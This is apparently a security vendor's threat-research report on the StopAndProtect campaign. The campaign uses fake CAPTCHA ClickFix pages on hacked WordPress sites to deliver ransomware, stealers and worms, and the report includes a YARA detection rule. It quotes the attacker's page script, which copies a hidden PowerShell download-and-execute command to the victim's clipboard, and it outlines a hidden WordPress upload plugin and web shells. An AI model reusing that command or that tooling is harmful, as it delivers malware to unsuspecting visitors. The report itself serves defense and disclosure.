Research by: Jaromír Hořejší (@JaromirHorejsi)

We first noticed a ransomware family called StopAndProtect in the middle of May 2026. Further analysis of the infrastructure reveals that the infection chain starts with a ClickFix social-engineering technique, which prompts victims to execute a PowerShell command. This leads to two stages of additional downloaders and loaders written in .NET, followed by several main functional components, such as ransomware, SMB/USB worm, LockScreen, VBS spreader, chat utility and credential stealer.

Although the name StopAndProtect was originally given to the ransomware component, we decided to call the whole operation StopAndProtect, as it does not deploy ransomware on all its victims. In many cases, the attackers silently exfiltrate lists of files and later specific files from the infected machines.

All these stages collect telemetry and generate and upload logs, giving malware operators a detailed view of the progress of the infection on the affected machines.

Malware operators use hacked WordPress sites as infrastructure to host malware stages, as C&C servers to pass commands, as well as the storage of logs exfiltrated from victims. Due to their carelessness and not following proper operational security measures, we discovered a PHP script exposing a directory listing, which led to the discovery of even more log files and open directories. Parsing those logs can provide us with an overview of the size and magnitude of the overall operation.

In one scenario, we suspect that the malware operator infected themselves and accidentally uploaded some of their desktop files to the collection server. This archive contains the source code of an automation tool for managing injected payloads at scale on compromised WordPress sites. It also contains a few text files listing close to 2,000 compromised WordPress domains, giving us a hint about the size of the operation.

There are many vulnerable WordPress websites simply because their owners do not keep them updated. This is true not only for WordPress itself but also for installed plugins.

Out of curiosity, we scanned one compromised WordPress website and found that it was running a WordPress version from 2021—almost five years old. The scan identified nearly 40 different vulnerabilities, including expired certificates, SQL injection flaws, open redirects, authentication bypasses, authenticated arbitrary file uploads, and more.

When visiting a compromised website, an unsuspecting victim sees a fake CAPTCHA ClickFix prompt. If the victim falls for the ClickFix prompt and infects themselves, there are multiple stages of infection, all using compromised WordPress sites to download additional stages, upload logs, or download instructions on which machines to encrypt and which files to steal.

The infection chain follows the sequence and schematics shown below:

ClickFix → PowerShell script 1 → PowerShell script 2 → stage 1 (loader) → stage 2 (downloader & loader) → stage 3 ( components: encryptor, SMB/USB worm, lockscreen, credential stealer, VBS spreader, chat utility )

The first stage of the PowerShell script submits an execution log to the base C&C server and downloads and executes the second stage of PowerShell. The second PowerShell stage downloads the base64-encoded .NET stage 1. It decodes it and loads it into memory. It then enumerates types from the .NET assembly. For each type, it lists all of its methods, and if a method name is `Execute` and it is static and has no parameters, it then creates a new instance of that type and invokes the found method.

`Malicious payloadsections.`

While analyzing files belonging to stages 1, 2 and 3, we extracted compromised WordPress websites acting as base C&C servers. One of these stages downloaded the next component from a `dwnen.php` endpoint. When we queried the endpoint without any parameter, we were presented with the following file listing. We could download all files except for `.php` files, and we could even list some of the folders as they allowed directory listings. This helped us a lot with collecting interesting files and samples, because without file listings we would not know which files had been hosted on the exposed server.

While listing files on known compromised websites, we noticed a few custom PHP scripts uploaded by the attackers. Some of these PHP files displayed password-protected forms for the custom file management utilities. These utilities are general file explorers, secure uploaders and secure downloaders.

The screenshot from the utility below shows a script for secure file upload. The operator needs to know a password to upload a new file into the compromised website.

The screenshot from the utility below shows a script for secure file deletion.

Some directories contained lots of logs, usually one log file per infected machine.

One open directory even contained victims’ startup, activity, lock screen and final screenshots. Some of these screenshots show victims’ desktops, displayed ransom messages, visited websites, watched YouTube videos, browsers opened to antivirus companies’ websites, opened antivirus programs’ windows, listings of encrypted files, opened office documents, etc. During our monitoring period, from mid-May to the end of July 2026, we collected approximately 31,000 screenshots.

On one of the hacked servers, we retrieved a ZIP archive, which helped us understand how the actor operates. It contained `mu-uploader-installer.php` which is an installer for a custom WordPress plugin. After successful installation, it behaves like a hidden file uploader.

`wp-content/mu-plugins/wp-sec.php.` `wp-sec/v1/upload.` `.phpfiles, enabling remote code execution if used maliciously.`

In WordPress context, “MU” means must-use plugin:

`wp-content/mu-pluginsload automatically on every request.`

Knowing the username and password, the threat actor can then upload files to the infected website by POSTing to the `{BASE_URL}/wp-json/wp-sec/v1/upload` endpoint.

Some of the hacked WordPress servers contain directories with data stolen from victims. The data is sometimes in ZIP archives, sometimes these ZIP archives are AES-CBC encrypted with the same key, which we could extract from Stage 3 components. From mid-May to the end of July 2026, we collected more than 700 archives.

The uploaded archives contain the following naming conventions:

We collected a few hundred files exfiltrated from victims’ machines, and we believe that in one instance the threat actor infected themselves, as one archive contained several unusual files with suspicious content. Later in this section, we explain what each of these files contains. This also helps us better understand how the actor operates and how many compromised domains they likely control.

“`
a-MASTER-CAPCHA-EXISTS-QUICK.txt a-MASTER-CAPCHA-EXISTS.txt a-MASTER-CAPCHA-NOT-EXISTS-QUICK.txt a-MASTER-CAPCHA-NOT-EXISTS.txt a-wp-cssv-failed-uploaded.txt a-wp-cssv-uploaded.txt activator.txt de-activator.txt fMain.frm fMain.frx fMain.log possible.txt proxy.php RegisterRC6inPlace.vbs store.txt stored_url.txt urlsimport.txt wp-cssv.php wp-verifyup.php
“`

All files in the given archive had the following prefix, `G-a_new_hack-0a_botnet-fake-capcha-a-master-4-a-updater-plugin-send-new-plugin`, suggesting that it is a sanitized version of `G:a_new_hacka_botnetfake-capchaa-master4-a-updater-plugin-send-new-plugin`. The internal project names are `0a_botnet` and `fake-captcha`. The following list of interesting files was extracted from the particular archive and analyzed.

`a-MASTER-CAPCHA-EXISTS-QUICK.txt` contains ~1400 domains, some of them still displayed fake captcha ClickFix.

`a-MASTER-CAPCHA-EXISTS.txt` contains ~300 domains

`a-MASTER-CAPCHA-NOT-EXISTS-QUICK.txt` contains ~400 domains

`a-MASTER-CAPCHA-NOT-EXISTS.txt` contains ~200 domains

`a-wp-cssv-uploaded.txt` contains ~300 domains, based on name likely a log of a successful upload of WordPress plugin

`de-activator.txt` is a `php` source code with de-activator of `litespeed-cache` WordPress plugin

`fMain.frm` is a custom automation tool for mass-managing compromised WordPress sites. After installing a Visual Basic 6 editor, the following GUI window appears in the form editor. It is quite surprising to see someone still using Visual Basic 6, which is an old-school tool, released almost 30 years ago, whose support ended almost 20 years ago. This automation tool allows the botnet operator to mass-manage compromised WordPress pages. It uses secure upload and delete PHP scripts on compromised websites to upload or delete additional files, activate or deactivate fake-captcha ClickFix, activate or deactivate caching, etc.

`possible.txt` contains output of a scanner with potentially vulnerable/compromised WordPress sites.

“`
.. [2026-02-26 10:46:05] IP:| Status: success | URL: https:///wp-admin/ [2026-02-26 10:52:08] IP:| Status: success | URL: https:///wp-admin/ ..
“`

`store.txt` is a PHP file used by the operator to set/update where payload traffic or redirects should point, without re-uploading code. It updates the value of the text file

`wp-cssv.php` is a Secure File Manager, which is a single-file web shell with upload and delete capability.

`wp-verifyup.php` is a File Explorer with Remote Fetch & Multi-Server Fallback.

The compromised websites contain a malicious `verify` plugin, which overlays the original content with a fake captcha for non-Windows visitors. The `verify` plugin consists of three PHP scripts and one `txt` file with the base URL or keyword `off` in case the fake captcha is disabled. The `store.php` script is used to modify the content of the stored_url. `txt` file. `Proxy.php` fetches a remote log file. `Verify.php` registers the `wp` and `init` action hooks, and drops the previously mentioned `store.php, proxy.php` and `stored_url.txt` files. It also sends statistics to the base URL.

Timeline of infection observed on one of the compromised WordPress websites. The threat actor installed the following files at the given times:

To activate the `verify.php` plugin, the actor also uploads an `activator.php` script, which will perform the plugin activation and later deletes itself, thus this file is not shown in the listing above.

The initial fake-captcha ClickFix page displays a human verification prompt and logs visitors’ IP addresses, then copies the command into the clipboard. In the figure below, you can see the value of the command variable with the PowerShell script that the victim executes.

“`
const userIp = “XX.YY.ZZ.WW”; const logUrl = “https:///wp-content/plugins/verify/proxy.php”; const psUrl = “https:///vcapcha.ps1”; … const command = `powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(‘${psUrl}’))”`; … navigator.clipboard.writeText(command) …
“`

`SilentEncryptoris the ransomware component. It downloads a file from the base C&C, which contains a ransomware command. This file gives instruction on whether the ransomware should encrypt all currently infected computers or only computers with given host names, and it also contains the ransomware message displayed to the victim. The key derivation function uses the per-file password and machine name to generate a 32-byte key. Both per-file password and machine name are present in the name of the encrypted and renamed file, making decryption of files possible.` `NetworkShareScannerbehaves as an SMB/USB worm, enumerating network shares and plugged-in USB devices to spread beyond the initial infected machine.` `VBS spreaderpropagates to hard disks and removable media, scans the network, and laterally moves using remote process creation via WMI.` `LockScreencomponent blocks user input and displays ransom message with payment QR code.` `SimpleChatProxyis a custom chat application for communicating between victim and operator (master). The victim’s input is blocked, and the master’s window contains a button for sending an image to a client. SilentEncryptor or SilentDataCollector may download and execute the custom chat.` `SilentDataCollectoris a stealer, which generates a list of all files on all drives (fixed, removable, network drives), encrypts and exfiltrates this list to the base C&C. The operator can direct file collection by uploading a command file to the base C&C server. The stealer then reads this command file and compresses, encrypts, and exfiltrates desired files to the base C&C server. Newer versions also implement additional features, such as a keylogger with valid email address detection, contact exfiltration from WhatsApp, mapping and unmapping network shares, and capturing screenshots of user activity at 30-second intervals while the victim is active. An operator may issue a WhatsApp search keyword; both the web and desktop versions are supported. The stealer waits until the victim becomes inactive and then uses WhatsApp automation to focus the search box, enter the specified keyword (contact name), open the contact information, and capture a screenshot.`

Among the exfiltrated files, we discovered the following screenshot. The actor searched for the first name of a contact of interest (entered into the WhatsApp search box via automation). The contact information displayed also reveals the associated phone number.

This is very likely a hands-on-keyboard operation. We have also seen components combining more than one of the previous features, such as ransomware and file collection combined into a single file.

Having lots of logs gives us a rare opportunity to have better visibility into the overall campaign size. Although some of the logs belong to various sandboxes and researchers’ machines, the majority still appear to be real victim machines. This still gives us valuable insight into the overall campaign size.

**Statistics as of 24/07/2026 – more than 6000 unique IP addresses.**

We got access to one of the base URL servers, which contained logs of fake captcha hits. Similar to the map above, we collected all unique IPs and drew one more distribution map. Compared to the previous statistics from the logs, this section contains counterintuitively fewer IPs and a lower number of hits, which in a real scenario has to be exactly the opposite, as not every ClickFix hit leads to infection. We have to note that these statistics are limited, as they contain logs only from one particular server, from which we collected logs. We also suspect that the ClickFix log file was reset a few times, so after each reset the older statistics were lost. The graph below shows close to 600 unique IPs related to ClickFix statistics.

**Statistics of fake captcha hits as of 24/07/2026 – close to 600 unique IP addresses, limited to one base C&C server.**

There was an open directory with victims’ screenshots. Until the server was cleaned by the administrator, we managed to collect about 400 unique screenshot files, belonging to close to 200 unique infected machines. An open directory containing activity screenshots from victims contains more than 20,000 individual files.

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

“`
rule StopAndProtectOperation { meta: description = “Detects StopAndProtect Operation” author = “Jaromir Horejsi” date = “2026-05-26” modified = “2026-05-26” hash = “712E557373FBA45BDD66D52E395B8AF7CCF7006E6E82D4E1DB0736E738D0D4FB” reference = “” tags = “” category = “CYBERCRIME” origin = “SecurityResearch” strings: $a = “C:\Users\marks\source\” condition: all of them }
“`